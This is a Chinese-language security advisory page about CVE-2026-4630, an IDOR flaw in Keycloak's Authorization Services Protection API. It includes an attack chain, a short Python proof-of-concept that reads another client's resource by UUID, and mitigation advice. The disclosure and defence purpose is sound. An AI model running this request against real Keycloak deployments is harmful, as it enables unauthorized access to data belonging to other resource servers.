IPBUF安全漏洞报告
English
CVE-2026-4630 CVSS 6.8 中危

CVE-2026-4630 Keycloak授权服务IDOR漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-4630
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

IDORKeycloakAccess ControlAuthorization BypassInformation Disclosure

漏洞概述

Keycloak授权服务保护API端点存在不安全的直接对象引用(IDOR)漏洞。经过身份认证的客户端可以通过获取同一Realm内其他资源服务器的资源UUID,绕过关键的授权检查机制。利用此漏洞,攻击者能够对目标资源执行未经授权的GET、PUT及DELETE操作,从而引发敏感信息泄露、数据被恶意篡改或删除的安全风险。

技术细节

该漏洞的核心原理是Keycloak在授权服务保护API中缺乏对资源归属权的严格校验。在标准的业务逻辑中,API应当验证请求者是否有权限访问特定的资源ID。然而,在此漏洞中,系统仅验证了请求者的身份认证状态以及资源ID的有效性,而未确认该资源ID是否归属于当前请求者。攻击者利用这一缺陷,首先在系统中注册为一个合法的客户端并获取访问令牌。随后,通过社会工程学、日志泄露或暴力枚举等方式获取目标资源服务器的UUID。最后,攻击者使用自己的令牌,直接在API请求中指定受害者的UUID,从而成功绕过权限限制,实现对他人资源的越权操作。

攻击链分析

STEP 1
1. 信息收集与认证
攻击者在Keycloak中注册一个合法的客户端,利用凭据获取有效的访问令牌。
STEP 2
2. 获取目标UUID
攻击者通过猜测、枚举或利用其他信息泄露渠道,获取同一Realm内目标资源服务器的资源UUID。
STEP 3
3. 构造恶意请求
攻击者利用自己的令牌,构造针对Authorization Services Protection API的请求,将目标UUID填入路径参数中。
STEP 4
4. 执行越权操作
服务器因未校验资源归属权,返回了资源信息或允许了修改/删除操作,导致数据泄露或破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "attacker-client" CLIENT_SECRET = "attacker-secret" TARGET_UUID = "b8e08e4e-1e7b-4e3c-9c2f-1d4e5f6a7b8c" # UUID of victim's resource # 1. Authenticate as a low-privilege client to get a token auth_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" auth_data = { "grant_type": "client_credentials", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET } auth_resp = requests.post(auth_url, data=auth_data) access_token = auth_resp.json().get("access_token") if access_token: print(f"[+] Authenticated. Token: {access_token[:20]}...") # 2. Exploit IDOR - Access another resource server's resource using the UUID # Endpoint: Authorization Services Protection API target_api_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{TARGET_UUID}" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Attempting GET (Information Disclosure) response = requests.get(target_api_url, headers=headers) if response.status_code == 200: print(f"[+] Exploit Successful! Retrieved resource data:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) else: print("[-] Authentication failed.")

影响范围

Keycloak (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在无法立即升级的情况下,建议通过网络访问控制列表(ACL)限制对Keycloak授权服务保护API端点的访问,仅允许可信的内部服务IP进行调用。同时,应启用并检查详细的访问日志,以便及时发现潜在的UUID枚举攻击或越权访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表